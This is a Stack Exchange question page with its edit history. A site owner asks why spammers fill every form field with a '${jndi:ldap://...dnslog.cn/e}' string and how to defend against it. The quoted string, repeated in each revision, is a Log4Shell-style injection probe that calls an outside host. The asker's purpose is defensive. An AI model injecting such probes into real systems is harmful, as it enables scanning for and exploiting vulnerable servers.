Skip to main content
Information Security

Return to Question

Post Closed as "Duplicate" by schroeder♦
deleted 329 characters in body; edited tags
Source Link
schroeder ♦
schroeder ♦
  • 132.1k
  • 55
  • 307
  • 348

Some spammers keep filling each and every form-field with below:

${jndi:ldap://123.tgnndi.dnslog.cn/e}

Maybe the $ part is supposed to trigger JQuery.

What is this, is it a try to attack?

If so, is it targetting our JS frontend or our PHP backend?

What's best way and/or library to sanitize and/or prevent such attacks?

Note that I am asking for details about initial question, these are not multiple questions just because there are multiple question marks ;-)

If one of above questions is already answered (if not all), then answering that "one" question with quotes of said existing answer is enough (with link to source), thanks.

Some spammers keep filling each and every form-field with below:

${jndi:ldap://123.tgnndi.dnslog.cn/e}

Maybe the $ part is supposed to trigger JQuery.

What is this, is it a try to attack?

If so, is it targetting our JS frontend or our PHP backend?

What's best way and/or library to sanitize and/or prevent such attacks?

Note that I am asking for details about initial question, these are not multiple questions just because there are multiple question marks ;-)

If one of above questions is already answered (if not all), then answering that "one" question with quotes of said existing answer is enough (with link to source), thanks.

Some spammers keep filling each and every form-field with below:

${jndi:ldap://123.tgnndi.dnslog.cn/e}

Maybe the $ part is supposed to trigger JQuery.

What is this, is it a try to attack?

If so, is it targetting our JS frontend or our PHP backend?

What's best way and/or library to sanitize and/or prevent such attacks?

Source Link
Top-Master
Top-Master
  • 103
  • 4

Explain `${jndi:ldap://...}` spam(s)?

Some spammers keep filling each and every form-field with below:

${jndi:ldap://123.tgnndi.dnslog.cn/e}

Maybe the $ part is supposed to trigger JQuery.

What is this, is it a try to attack?

If so, is it targetting our JS frontend or our PHP backend?

What's best way and/or library to sanitize and/or prevent such attacks?

Note that I am asking for details about initial question, these are not multiple questions just because there are multiple question marks ;-)

If one of above questions is already answered (if not all), then answering that "one" question with quotes of said existing answer is enough (with link to source), thanks.